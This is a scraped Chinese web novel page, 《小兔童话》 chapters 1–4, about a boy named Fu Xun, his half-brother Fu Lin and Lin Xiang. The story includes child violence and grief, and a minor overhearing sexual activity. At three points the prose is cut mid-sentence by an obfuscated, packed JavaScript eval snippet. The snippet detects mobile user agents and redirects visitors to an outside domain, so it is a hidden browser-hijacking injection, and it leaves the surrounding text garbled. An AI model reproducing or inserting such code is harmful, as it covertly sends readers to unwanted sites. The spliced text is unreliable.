《小兔童话》 1. 第1章 1 傅恂第一次见到林湘,是在2002年的冬天,他记得很清楚,因为那天下了大雪。 他垫着脚,双手搭在窗台往外看。雪花前仆后继地拍打在出租屋的老式窗棂上,楼下的景色被雪幕滤得模糊,隐隐约约有一抹鲜艳的红色掠过布满白色荒芜的视线。 再能仔细看清时,雪地上只剩下一行歪歪扭扭的脚印,很快又被新雪温柔地弥合。 很快,门铃响起。宋玲去打开门,乌压压的一片人,挤在逼仄的走廊。 比他大八岁的同父异母的哥哥傅霖,带着傅家的司机、保姆、还有红围巾,来到这间出租屋给他过五岁的生日。 林湘站在门旁的阴影处,试图隐藏自己。只不过因为在只有黑、白、灰的破楼里,脖子上那条红围巾太过明艳,越是这样,就越明显。 傅霖带来许多时兴的玩具和书本,他对这些东西没有兴趣,好奇地盯着傅霖身旁的红围巾。 红围巾上方露出小半张瓷白的脸,鸦羽般柔顺的长发软软地依偎着那张小脸,整个人像一朵笼罩在水墨烟雨中绽开的白色山茶花,恬静动人。 傅恂又盯着林湘的嘴唇看,樱红的唇瓣一张一合,正在给他介绍傅霖带来的那些玩具怎么玩。 出租屋没有暖气,冰天雪地的冬天,林湘说话时呼出白色的雾气,他不由自主地觉得面前的人很暖,可以靠近他。 于是他把手伸到林湘的棉衣帽子下取暖,温热的一片。 林湘没有躲开,他笑得眯起了眼,翻出一本安徒生童话,对傅恂说:“蛋糕还要等一会才能吃噢,我给你念个童话吧。” 傅恂的手渐渐变得暖洋洋的,他收回手,挨着林湘身边坐下,说:“童话是什么?” 林湘没有笑话他,绘声绘色地给他念完了一个故事,说,童话是美好的。 真的吗? 真的。 后来傅恂当然明白,是假的。 从林湘有记忆起,在他身边的只有外婆。 外婆力气大,用肩膀扛起两端装满水的扁担、背几十斤重的背篓都不曾叹气,却因为不识字没办法给外孙念故事而叹气。 在他六岁时,傅霖出现了。傅霖身边还有一位文质彬彬的男人,两人身上散发的气息和林湘身上小破老街的味道有着云泥之别。 男人为家里接上了自来水,装了比平时明亮的新电灯泡,还留了一笔钱。 林湘不明白为什么会有陌生人来帮助他们,外婆和他说,是什么什么协会找来的社会爱心人士,以后还会一直资助湘湘上学。 他似懂非懂,只知道从那天以后,傅霖一出现,他就会变得很开心。 外婆再也不用那样辛苦劳累,他也能从傅霖的口中听到很多新奇的事物。 傅霖给他带来很多绘本和故事书,其中有一本封面是浅蓝色的,上面画了云朵,绿油油的草地,金发碧眼的小女孩,还有一群可爱的小动物。 林湘抱着它爱不释手:“这是什么书呀?” 傅霖说:“这是童话书。” 林湘愣住:“啊?什么是童话?” 傅霖拉着他坐下,打开书本,给他分别念了白雪公主和灰姑娘的故事:“......从此以后,仙蒂瑞拉和王子过着幸福快乐的生活。” 林湘第一次读到超过他认知的故事,眼睛亮晶晶的,不由得说:“哇。” 傅霖笑:“是不是很美好?童话就是美好的。” 林湘咬着手指头,点点头。 可是童话只能是童话,他生活的世界,没有豪华的宫殿、也没有英俊的王子和忠心的仆人,只有外婆越来越弯的腰、现实残酷的真面目、还有自己丑陋畸形的身体。 窗外的大雪停了,夕阳从老旧的窗棂中照进来,林湘在收拾书本和玩具,把它们一件件整齐地摆放在小桌上。 傅恂的视线从窗外移至林湘的脸上。 林湘的眼眸是琥珀色的,出租屋的窗户玻璃也是琥珀色的,那种是很劣质的脆玻璃,碎过几次,宋玲每次都用黑色胶带封住,接着不久后家里就会响起房东不依不挠的粗大嗓音和宋玲低声下气的道歉声。 林湘收拾好后,把脖子上的红围巾取了下来,放在小桌上叠成一个规矩的长方形,紧紧挨着巴斯光年的人偶玩具放下。 金黄色的光温温地照在他的脸上,宁静美好得像童话里的场景。 傅霖自幼便显出超越同龄人的早慧,被傅家赋予厚望,当成傅氏唯一的继承人来培养。在高强度精英教育的间隙,总会在每个月抽出时间,穿过大半个城市来看林湘、再带着林湘去看傅恂。 林湘住的地方离傅恂近,在同一片老街,傅霖没空时,他代替傅霖,每个月都跑来傅恂的家。 老街的人三教九流,总会上下打量傅霖,对林湘打趣道:“这么小,就交男朋友了呢。” 林湘完全不在意这些人,大大方方地挽着傅霖的胳膊,用清脆的嗓音说:“他是我的好朋友!” 傅恂和林湘不同,只要有闲言碎语传到他的耳朵里,他就会去找能成为武器的东西,砖头、棍子、连放在墙角的簸箕都会变成他揍人的利器。 出租屋附近大多都是跟着父母一起来打工的孩子,不喜欢和傅恂玩的经常经常指着傅恂叫他‘野种’,口无遮拦。傅恂的父亲从未出现过,宋玲也是个病秧子,他成了好事者最好的消遣,在他们眼里,傅恂只是个给两脚就能打发走的老鼠。他们时不时把他晒在空地的药材踩得稀巴烂,或是对着来找他的林湘说些下流的笑话。 上小学后,打架成了傅恂的家常便饭,打不服的就继续打,还会利用别人的掉以轻心玩阴的,打到再没人敢欺负他们为止。 巷子太窄了,傅恂躲过陈文迎面而来的拳头,后脑勺却磕到凸起的墙面,他随即用膝盖重重撞向陈文的□□。 陈文惨叫一声,立即蜷缩起来。傅恂从口袋里摸出一把小小的水果刀,往陈文身上扔去。他没把握好角度,刀一偏,落在陈文的身侧。 陈文也还是个念小学的孩子,看见身边落下来一把刀,吓得大哭大喊,捡起刀来自卫,指着傅恂喊道:“野种杀人了!快报警!” 当啷一声,傅恂扑上来把陈文的后脑勺用力压在石砖路上,踩着他握着刀的手,揪着他的领口又打了一拳。 畅快地打了一拳,傅恂摸向口袋,里面还有一把水果刀。 陈文的下颌被刀尖抵住,傅恂在他的耳边说出让人毛森骨立的话:“我才九岁,杀了你,我也不会坐牢,你信不信?” “傅恂!” 陈文还未回应,傅恂就听见一道熟悉的声音在唤自己的名字,他把手中的刀快速推回衣袖里。 “发生什么事了?”林湘小跑过来,把他从地上拉起来,“有没有被欺负?” 拉傅恂起来时,林湘看见陈文手中正拿着刀,在他看来,是陈文要伤害傅恂。 与此同时,傅恂不说话,只是盯着地上的陈文,抬脚把陈文手中的刀踢走。 林湘拉着傅恂后退几步,挡在傅恂面前。 柔顺的发丝扫过傅恂的胸前,他也不顾自己的手上还沾着泥和血,缓缓伸出食指,屈起来,轻轻地碰了碰。 淡淡的,还带着一丝甜,似乎是山茶花的香味。 在混着咸腥怪味、霉味和血腥味的阴沟小巷里,显得这样格格不入。 林湘怒道:“不许欺负我弟弟!” 陈文起身想跑,又被赶来的傅霖抓住。接近成年的傅霖身上有一种不怒自威的气势,陈文彻底败下来,哭着要回家找爸妈:“是他想杀了我!” 林湘不信他:“我亲眼看见你拿着刀。” 在林湘身后的傅恂正死死地盯着他,眼神凶狠得像神话传说中深山里的怪物,于是他咬牙切齿道:“傅恂,你有本事敢作敢当,别躲在背后当孬种!” 感觉到林湘回头的动作,傅恂很快摆出一副委屈的表情,他蹙起眉,眼睛垂着,头偏过去,也不看林湘。 林湘伸手给他擦了擦脸上的灰,又把凌乱的衣领整理好,说:“刚刚我们都找不到你,还好赶到了,不要怕,我和你哥哥都在呢。” 傅恂闻言,抬手牵住林湘的衣角。 傅霖在不远处打完电话,说很快就有人来处理,不会让他再发生这种事情。 傅恂被林湘牵着走在回家的路上,抬头看了会儿在另一旁的傅霖。 他许多个生活的苟延残喘,在傅霖那里好像也就一通电话,点点头,指指手的事情。 原来有人生来就能站在光里。他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15735292|174066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沉默着捏了捏手中的刀,在刀片上用手指缓缓划了个“傅”字。 2 傅恂上了四年级后,身体开始抽条,而宋玲的身体一天比一天瘦,越来越纤薄,干瘪得像失去水分的植物。 这样撑过去了一年,宋玲突然说,想吃小时候的馄饨。 傅恂从抽屉里拿出五块钱,应下她:“嗯,我现在去买。” 宋玲说:“要桥头那一家的,有些远,你路上小心点。” 傅恂没说什么,关上了门。他往巷子外走去,在转角听见两个熟悉的声音。 他屏住呼吸,靠着墙慢慢地走过去。 他看见傅霖穿着精致的白色衬衫,长手长腿,侧脸英俊挺拔。在他面前的林湘,乌黑浓密、如绸缎般的长发垂下,露出姣好白皙的小脸。 老街边灌木丛里的山茶花落了一地,在阳光下斑驳一片。傅恂抬起头,看向天边飞过的鸟,听到林湘柔软又娇憨的语气说,“……那你亲亲我。” 鸟儿在一墙之外的空中不停地盘旋,始终不肯落脚,看得他心头莫名烦躁,快步走过去。 “你们在做什么?” 甜蜜的气氛突然被打破,林湘像一只受惊的猫儿,迅速把头埋进傅霖的肩窝处,一动不敢动。 傅霖闷笑着给他顺气:“是我弟。” “啊。”林湘从傅霖的怀中抬起脸来,羞得说话都磕磕绊绊,“刚刚正想去找你呢,你哥哥说要带我们去水族馆玩。” “你们去吧。”傅恂转身就走,“我要去给我妈买馄饨。” 林湘抬头看了看傅霖,不知所措。 傅霖摸了摸他的头,低声说:“下次再去。” 林湘点点头,连忙追上傅恂,说:“我们和你去吧,顺便去看望一下阿姨。” 傅恂脚步放缓,说,随便。 宋玲是在傍晚被殡仪馆的车拉走的。 傅恂回到家后,那个说要吃馄饨的人正躺在床上,他怎么叫也叫不醒。 他把手指放在宋玲的鼻子下方,感受不到一丝气息。 无数次用力掐着他的脖子、说他该死、不该出生、都是他拖累了她的宋玲,就这样平淡地死了,被一席白布裹着,两个男人抬起她出门,准备运往郊区的殡仪馆。 林湘站在傅恂的身后揽着他,另一只手放在他的脸上,轻轻地盖住了双眼,说:“不怕,不怕。” 邻居们出来看热闹,发现是有人离世,又嫌晦气地走了。有个背着幼儿园书包的孩子问自己的妈妈:“是有人死了吗?” 女人拉着他边走边说:“那个哥哥没妈妈了。” “那他怎么不哭呀?” 女人又说了什么,傅恂听不清了,有一滴水此刻精准地坠入他头顶的发间。 接着又是一滴,落在他的后颈上,更多的水珠接踵而至,滑落成一条浅浅的水痕。 林湘在哭。 亲眼目睹生离死别,林湘想起了自己的外婆。傅恂和他的妈妈相依为命,自己和外婆也是如此,未来的某天,外婆也会离开,他就会变得和傅恂一样,成为没有家的可怜孩子。一边因为心疼傅恂的遭遇,一边被失去至亲的预感性焦虑包裹着,他终于是落下泪来。 “死的是我妈,你别哭了。” 单薄的肩膀仍在簌簌颤动,看见林湘越哭越厉害,傅恂的喉咙也开始发痛,他伸出手。 出租屋外的空地上,一只小鸟落下来,正在啄着地。 处理好事情的傅霖跑过来拥住林湘,在他的额头上轻吻着,一下又一下,温柔又耐心。 林湘渐渐收住哭声。从小时候起,傅霖和外婆就是这样哄他,到如今他都一直认为,在他的世界里,亲吻可以解决大部分的问题。 傅恂神色漠然,往人群方向走去。 他跟在宋玲的尸体后方,一起坐上了开往殡仪馆的车。 傅恂坐在宋玲的尸体身侧,把白布掀起来,最后看了眼她美丽又死寂的脸。 宋玲精神错乱,发病时会痛苦地掐着他的脖子,骂他流着傅家的血,让他去死;清醒时又抱着他流下泪说,不要和傅家扯上关系,不要去抢傅霖拥有的一切。 傅恂把白布重新覆上。 宋玲说错了,傅霖拥有的,他凭什么不可以拥有。 2. 第2章 3 宋玲的丧事没人能办,傅恂只得到殡仪馆给的一抔骨灰。从那天开始,他发现林湘来出租屋的频率越来越高,以前还有傅霖同行,现在大多数时间只有林湘一个人。 今天也是如此。傅恂感觉有一丝丝难以言喻的喜悦和轻松在他身上游荡,他咬下一口林湘带来的钵仔糕,再默数糕点上的红豆,装不经意问林湘:“我哥呢?” “傅霖太忙啦,我替他来看看你。”林湘以为失去至亲的傅恂想念家人,坐得离他更近了一点,抬起手,想摸摸他的头。 傅恂偏头躲过林湘的手。 他和林湘之间并没有什么话题可以聊,说来说去只有未来几天的天气、傅霖、在学校的早午餐有没有吃饱、傅霖、傅霖、傅霖。 林湘仿佛不知道自己看他的眼神有多柔软,感觉窗外的雪落在了眼眶里慢慢融化,水盈盈的。对傅霖却是另一种缱绻的柔媚。 这是在可怜自己?傅恂把钵仔糕放回塑料袋里,起身,“没什么好看的。” 林湘也站起来,拉住傅恂说:“你想哥哥的话可以写信呀,我帮你交给他......” 傅恂的脸冷下来,瞥了他一眼:“我才不写。想我哥的是你吧?” 林湘倔强地说:“我没有。” 傅恂不理他,要往房间里走,又被拉住。 他回过头,林湘神色得意:“傅恂,我们去街上玩玩吧。” 再过两个礼拜就到傅霖的生日,碰巧赶上圣诞节。林湘收到一笔小小的奖学金,说要给傅霖挑选生日礼物。 林湘在礼物上犯了难,傅霖什么也不缺,也没有对任何东西表现出明显的喜欢,他想要傅恂给一些建议。 傅恂说:“我不知道。” 林湘仍不死心:“你是他亲弟弟呀,兄弟之间一定有某些感应的。” 根本理解不了林湘的逻辑,最后还是帮他选了一条项链,银色的塑圈环环相扣,尾端挂着一个镀银边的黑色爱心。 傅恂12岁生日那天,收到两个盒子,一个精致、一个朴素。 精致的盒子来自傅霖,里面只有一把钥匙,没有留下只言片语。 朴素的盒子来自林湘,项链在灯光下熠熠生辉,他伸出手,轻轻地在上面摩挲。 林湘给他送了与傅霖那条一模一样的项链。 狭窄的楼道里四处贴着开锁、疏通马桶、天花板补漏的小广告,扶梯也是生锈的劣铜,傅恂拿着傅霖给他的那把钥匙,一步步走上六楼。 宋玲的家。 两室一厅的老旧户型,还有一面向阳的阳台。总体不算宽敞,但是比起出租屋好上许多。 傅恂快步跑下楼,飞奔到附近的报刊亭里,换了几块硬币,接着又往电话亭跑去。 他莫名地想给林湘打电话,迫不及待想告诉林湘:他有家了,他成绩很好,可以考上市里最好的初中,他有很多朋友,他并不需要他可怜他。 傅恂握着听筒,极为缓慢地按下牢记于心的电话号码,数了七个“嘟——”音,林湘的声音终于响起。 “……你好?” 回应林湘的只有不太平稳的呼吸声。 林湘说:“傅恂?是你吗?” “嗯。” “怎么啦?” “……没什么。” 林湘和他寒暄了几句家常,声音突然带上些歉意:“最近可能没什么时间去看你了。” 傅恂问:“为什么?” “外婆生病了。” 外婆的背越来越陀了,还总是笑呵呵地对林湘说:“水妹长得越来越高啦。” 几个礼拜前,外婆最爱做的事情变成了在竹椅上静静地坐,一坐就是大半天,还会安慰林湘,自己只是累了,休息一会就好。 外婆什么时候变成小孩子的呢?林湘不知道,好像外婆摔了一跤后,就变成了小孩子。吃饭需要人喂,说话和牙牙学语的小婴儿一样含糊,没人看管就会乱跑。 那天外婆从竹椅上摔下来,又很快爬起来说没事没事,叫林湘不要担心。林湘不放心,要带她去医院检查,她紧紧攥着竹椅的藤背,执意不肯去。林湘围着外婆仔细检查了几次,没有发现任何皮外伤,才放心了一些。他去厨房给外婆煮粥,剁成糊状的猪肉,和青菜、大米炖在一起,黏糊糊的,像没长牙的小婴儿吃的米糊。外婆的牙齿快掉光了,也像小婴儿一样。他从厨房出来,外婆好像才睡醒一样,睡眼惺忪地看着林湘,良久才说:“李溪溪,你跑哪儿去了?” “李溪溪是谁?”傅恂问。 “我不知道。”林湘说。 他站在傅恂旁边,看傅恂的动作。傅恂从前照顾宋玲,有些经验,正在把药材分类放好,又每种抓了一点放在白纸上,最后仔细地包起来写上数字,可以按着数字的顺序,依次给外婆煲药。 上一秒还在和他通电话的傅恂,下一秒就出现在他家里,一声不吭地分药、熬药。 傅恂又问:“傅霖知道吗?” 林湘摇摇头:“他每天都有很多事情,我不想打扰他。” 傅恂过了好一会儿才说:“他这个男朋友怎么当的。” 林湘轻轻地笑了一下:“互相体谅才会长久,不过你还小呢,不用懂这些。” 见傅恂不说话,林湘又说:“我们小恂又乖又能干,将来不知道是哪个小姑娘能得到呢。” 外婆也有清醒的时候,林湘就会把她推到室外,和她说很多很多话,或者做一些简单的数字游戏,这是他从报纸上学到的,可以适当舒缓外婆的症状。 外婆说:“几月份了?” 林湘说:“二月份了,外婆。” 外婆说:“噢。快要到春天了。” “到那时我带外婆去公园赏花。” “怎么不见傅家那小伙子呢?” “他有空就来看您。” 外婆伸手摸着林湘的脸,声音很轻:“他知道你身体的情况吗?” 林湘把脸颊放进外婆的掌心里轻轻蹭着,说:“知道的。” “他不介意吧?” 林湘摇头:“他对我很好。” 外婆放心地握了握林湘的手:“那就好、那就好。你们好好的就行……那小子是谁?” 林湘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15735293|174066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回头看,傅恂正站在他们身后不远处,不知道把他们的对话听了多少。 阳光斜切而下,把他的身子分割成两半,脸庞遮在屋檐的阴影处,面无表情。 林湘说:“他是傅霖的弟弟,来看外婆的。” 外婆点点头:“他和傅霖不一样,但也算是个大孩子了,要记得保持一些距离,要保护好自己。” 林湘应下:“我知道的,外婆。” 傅恂第一次见到林湘哭,是在宋玲被送去殡仪馆的那一天;第二次见到林湘哭,是在医院。 他跑到医院时,林湘正蹲在地上抱着胳膊,把脸埋在膝间,浑身颤抖。 傅恂在他身边半蹲下来,轻轻唤他:“林湘。” 林湘抬头看他,泪如雨下。苍白的唇瓣开合间,咸涩的泪水一滴一滴、混着消毒水的气味渗进齿间:“当初要是我看住外婆不让她摔跤……当初要是带外婆来医院,是不是就不会这样了?……都怪我、是我不好……” 破碎的哽咽声在喉咙处凝成结块,让林湘说不出流畅的话语。傅恂捧住他的脸。 抢救室外,满脸麻木的护士、有着同样悲戚表情的病人家属、还有不明白离别是什么的小孩子;病床滑轮碾过瓷砖的刺响、此起彼伏的抽泣、孩童吵闹的哭叫,所有喧嚣都褪成模糊的马赛克,全世界只剩下林湘睫毛上摇摇欲坠的泪珠。 最该出现在这里、最该出现在林湘身边的人,依旧没有出现。 傅恂的手带着抑制的力度,抬高林湘的脸,在细细的呜咽声中,把冰凉的双唇用力地贴上他濡湿的额头。 学着傅霖的样子,一下、又一下地,亲吻他的额头。 外婆在医院里只住了一个星期,出院那天,林湘在人来人往的走廊上面对着墙,用衣袖用力地擦眼泪,反反复复。 傅霖在不远处的走廊拐角倚墙站着,察觉到傅恂的视线,对他露出一个可有可无的、十分颓废的笑。 他后知后觉地意识到,那天是他今生最后一次见到傅霖。 出了医院,林湘和傅恂道别,牵着外婆慢慢地往家的方向走去。外婆似乎被明晃晃的阳光吓着了,挣脱林湘的手慌不择路。 林湘不顾一切地闯红灯,在钢铁洪流里左躲右闪,很快牵到外婆,走到了安全地带。 他们站在老街边的大榕树下,斑驳的细碎光影透过叶隙,在林湘婉转动人的眉眼间流转。林湘冲着马路对面的傅恂挥挥手,努力把嘴角弯出一个弧度,好像在说没事了,没事了,回去吧。 他们之间隔着川流不息的马路,傅恂感觉到林湘的心,正在碎成一片一片。 春暖花开的午后,外婆坐在门口,门口外成排的榕树耸立,对老街的悲喜哀愁沉默不语。 老人慢慢闭上眼。 林湘出来唤她,蹲下身子:“外婆,进屋吧。” 外婆没有听见。 林湘又叫了一声:“外婆。” 外婆似乎睡得很熟,神色安详平静,林湘叫不醒她。 苍绿的树叶被风吹到林湘的脸上,他下意识闭上双眼躲闪。再睁开眼时,眼泪无声地流了下来。 3. 第3章 林湘正式住了进来,和过去一样,两人之间依旧没有什么话题可以聊,不同的是‘傅霖’二字成了两人共同的回避词。 傅恂仍然是不良少年,但却收敛许多,会开始注意起自己是否干净整齐,如果有血迹和伤口会处理干净再进家门。 在他从前的记忆中,林湘的身上总是有着淡淡的,又很清爽的甜香,闻起来像春天原野的气息,很好闻;握着他的手很软,掌心滑滑的,热热的。几个星期过去,林湘身上的香味似乎变了,混上了酱油、醋、人间烟火的气息,油烟味重了起来,饭桌上的晚饭也变丰盛一些,不再是单调的面条,有时候会有几根鸡中翅,几块排骨。傅恂低头看了看自己的掌心,已经很久没有那双手牵着,现在那双手正在把二次烹饪加工好的食物摆盘。 林湘努力把它们摆放精致,可傅恂还是一眼看出这些不是他做的,像是打包的,难听一点儿就是从别人的剩桌上顺的。 傅恂在附近一带已经小有名气,有越来越多的人脉和朋友,他搞到了和林湘关系较好的同班同学的联系方式。同学很是惊讶林湘有个上初中的弟弟,知道林湘家境困难,话语中也带上了些心疼。 同学说,林湘过上了边上课边端盘子的校园生活,他在学校食堂里勤工俭学。食堂包饭,一小时十块钱,运气好还能打包一些分不完的菜。林湘早上从六点半开始干一个小时再去上课,中午又干两个小时,一天能赚三十块钱。说完这些后同学自言自语起来:食堂在傍晚时营业最久,生意最好,怎么没见林湘呢? 傅恂沉默地听完对方的话,只说了句谢谢便挂断电话。 他低下脑袋,继而阴森乖戾地笑起来。林湘没出现在晚上的食堂,因为正在自己家傻乎乎地给自己做晚饭。无数个三十块钱,变成了牛奶箱里的牛奶;新鲜的、不再是两元一斤促销的苹果;还有穿在他身上的,合身的T恤和裤子。 林湘在卖自己的时间和精力,用来多换一瓶牛奶,一斤猪肉,几个苹果。他曾经见过的。 外婆住院,17岁的林湘对傅霖的母亲说:“我可以离开他。我需要一笔钱。” 他见过林湘独自一人对着墙偷偷抹眼泪的样子,见过逃出来的傅霖轻贱颓废的样子,见过林湘站在窒息冰冷的医院走廊里,用自己的爱情来讨价还价。 傻子,真是傻子!傅恂心中不爽,他用力地踢起脚边的石块,沉着脸快步走回家。 林湘看见傅恂推门进来,开心地从身边的袋子里拿出一件T恤,说:“小恂这个年龄,身体长得快,所以我买大了一码,快试试这件,摊主说穿几年也不会发黄。” 傅恂的神色变平静,接过T恤往自己身上套,问:“没人教过你,自己的钱自己用?” 林湘摇摇头,细心地给傅恂整理好衣领。他想着,到年底,傅恂就要14岁了。现在傅恂已经长得和他差不多高,估计明年就会比他高了,到时过冬的棉衣也要买大一码,在里面能多套几件毛衣,也能穿多一两年。 “你正在长身体呀。”林湘说。穿了新T恤的傅恂,俊秀挺拔,看得他心中满意极了,“牛奶一定要喝,昨晚我起来上厕所,推开你房门看见你的腿一直在抽筋,所以营养一定要跟上......” 林湘的音调渐渐小下来,他突然发现自己已经想不起来,13岁的傅霖是什么样子的了。 傅恂不知道林湘正在黯然伤神,他把衣服脱下来拿去洗,边走边说,“以后不用等我回来做晚饭了,我放学后不一定什么时候回来。” 林湘不安地问:“你放学不回家要去哪?” “补课。”傅恂顿了顿,“免费的,包饭。不过什么时候能回来看老师心情。” 林湘听了很高兴,看来他们的生活已经慢慢步入正轨,傅恂会在学业上一路绿灯,会健康阳光地长大。他冲着傅恂的背影笑笑,“那我在家准备好水果等你,回家注意安全哦!” 根本没有什么免费的补课,傅恂对林湘撒了一个慌。 这个年代黑网吧盛行,傅恂找了份网管的工作。他个子高,打架厉害,看不出是童工,也能解决不少小矛盾,老板放心地让他坐在前台,按8块钱一个小时给他算工钱,还可以用电脑。 傅恂坐在前台的电脑前,不像其他人一样看电视剧、打游戏,他对那些网页和程序产生了很大的兴趣。 在学校上过计算机课,但老师只是让他们玩金山打字,或者纸蜘蛛、扫雷。他从不知道金山打字上那些小游戏是怎么动起来的,青蛙跳跃、打地鼠、拯救苹果,他玩了一遍又一遍。现在才知道,光靠玩是玩不出门路的。 傅恂在网吧只工作三个小时,他忙里偷闲跟着各种教学视频学习,有些专用名词他看不懂,便从词汇开始学,笔记密密麻麻地记了一大本。 和他在前台共事的是老板的父亲,一个六十多岁的退伍大叔,平日负责收钱,也负责监督他干活。 大叔看他的目光里大多是赞许,文化不高也用尽毕生词汇毫不客气地夸他,“以小看大,这孩子一看就是将来必有一番大作为的人中龙凤,这眼神,啊,这气质,啊.......” 傅恂看了他一眼,继续低头学习,但却笑道:“阴沟里的老鼠罢了。” 今夜下了大雨,网吧里的人很少,大叔为了给儿子省电费,只开了一半的灯。而傅恂得以清闲,学习的效率也高起来。 一阵尖锐嘈杂的摩托车轰鸣声撕裂了这片宁静,最后在网吧门口停下,车灯刺破雨幕,穿透过玻璃门,直直地照进网吧,如同白昼。 傅恂看向门外,轻眯起眼,合上手中的笔记本。 林湘接到警局的电话时,正在家里为傅恂削苹果。 警局的人说,傅恂在网吧和人打架。 他火急火燎地赶过去,拖鞋都没来得及换。赶到时,就看见傅恂挺直背站在警局门口,脸上挂了彩,眼神依旧阴鸷嚣张,丝毫不服软。 “你骗我说补课,结果是在网吧和人打架?”他第一次对傅恂动怒,声调控制不住地抬高起来,“谁教你撒谎的?” 傅恂直直地盯着他,目光似乎放软了些,却不说话。 没得到回应,林湘平静地说:“现在你了不起了,我不用再管你了。今晚我就收拾东西离开,你自生自灭吧!” 傅恂终于开口,低低的声音,带着重重的鼻音:“先动手的是他们。” 林湘的心软下来,倏地鼻头一酸:“以后我不在,先报警好不好?看见你流血,我心里难过。” 第一次看见傅恂被人拿着刀欺负时,傅恂才九岁,在她心里,傅恂就是需要他 傅恂脸上挂彩的样子让他想起傅霖,眼泪几乎瞬间往心里回倒。傅霖曾经握着他的手说,这辈子最放心不下的人,第一个是他,第二个便是傅恂。他在傅霖的庇护下磕磕绊绊地长到18岁,傅霖走了,那他会替傅霖看着傅恂长大。 来网吧闹事的那一行人和傅恂是旧交,傅恂曾经把他们的头领刘藐踩在地下,拿走了放在口袋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15735294|174066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和鞋子里的钱,此次刘藐是打听到傅恂在黑网吧里当网管,便带上一群人前来报复。 傅恂一个人面对乌泱泱的一众人,还把对面一个人的脑袋揍得头破血流。他只打了一会儿,在内室的大叔从监控里发现不对劲,立马报警赶了出来。大叔当过兵,老当益壮,还带着成年人的压迫,闹事的一行人见状立马要跑,却被一同送来了警局。 傅恂怕还在警局的那些人日后对林湘下手,再也不看林湘一眼,冷冷地说:“你难过什么,和你有什么关系?” 林湘咬着牙,声音颤抖,努力不让自己在傅恂的面前丢盔弃甲:“......他的弟弟就是我的弟弟。” 傅恂冷笑:“别提他。他怎么死的,你比我更清楚。什么狗屁关系,我不是你的弟弟。” 林湘垂下头,眼泪沉默地流下来。胸膛上好像被撕开一个大洞,鲜血汩汩地往外冒,和瓢泼大雨混在一起,发出恶心难闻的气味。他确实想不起来13岁的傅霖是什么样子,却永远记得傅霖离开时的样子。 傅恂的余光瞥见林湘似乎不对劲,他居高临下地回望林湘,只是一瞬间,便慌了起来。 破碎的、脆弱的泪水源源不断地顺着白皙消瘦的下颌坠落,仿佛断线的珍珠,裹着腐蚀性的液体,在他尖锐强力的铠甲上砸出一个一个凹陷的、焦黑的洞。 他第一次尝到手足无措的滋味,所有乖戾跋扈的气势已经无影无踪,他伸出手,笨拙地用干净的手背去替林湘擦眼泪。小心翼翼地,仿佛轻轻一碰,林湘就会连人带骨碎成齑粉。 傅恂轻声说:“林湘,我们回家吧,我会好好上课。” 林湘伸开双臂抱住他,把脸埋进他的颈侧,说:“好。” 傅恂看不到林湘的表情,只能感觉到那双软软的手,生疏地抚上他的背,用力把他抱紧。 他也伸出手,轻轻地揽住林湘。 他曾经看过的天下轶事,世上有两棵依恋松,一棵落地生根,另一棵无根。两棵树主干互相缠绕,无根的树依靠有根树的滋养,枝繁叶茂,生机盎然。两人宛如旷野里合抱的两颗依恋松,两树融为一体,同骨同髓,在天地间相依为命。 从警局回到家,林湘把卫生间的门关上,往浴缸里放了满满的水。 封藏记忆的名字,只能靠着回忆想念,以及无数次幻想,聊以慰藉。他再也忍不住,坐在冰凉的浴缸里,茫然哭起来。 傅恂刚来黑网吧上班时,有人在看一些他看不懂的电影。比如年轻的家庭主妇为什么总是找新搬来的年轻的邻居聊天、美丽的老师下班为什么不回家还要留在教室?客人们也不带耳机,从音响泄出一堆聒噪的杂音,听上去似乎很痛苦。 他瞥过几次,都马上被赶去干活,大叔说这不是他看的东西。 通过电脑,傅恂才知道这叫“做//爱”。他看不出电影里两具白花花的□□的主人之间有什么感情,被欲望操纵的两具肉身,竟然也可以玷污“爱”这个字。宋玲死得早,也没人教过他爱是什么,现在看来原来“做//爱”并不需要“爱”这个前提。 他不是要看这些电影,他只是突然想起来,那些在深夜里听见从林湘房间里传来的声音,和这些很像。但是比电影里的好听上百倍、上千倍,他也想知道,是不是也一样痛苦。 小小的房子几乎没有隔音可言,卫生间的门把也是坏的,关不牢,却没有人修。 傅恂站在卫生间门外,听完了一整场漫长的、情动的恸哭和呻吟。 4. 第4章 这天半夜,傅恂把林湘的房门敲得哐哐作响。 门扉开启刹那,暖黄的光线裹着淡淡的甜香流淌而出。林湘乌黑柔软的长发随意松挽在脑后,几绺青丝从松垮的发圈中垂落,沿着颀长白皙的颈侧滑进睡衣领口,像水墨在宣纸上晕开了尾迹。 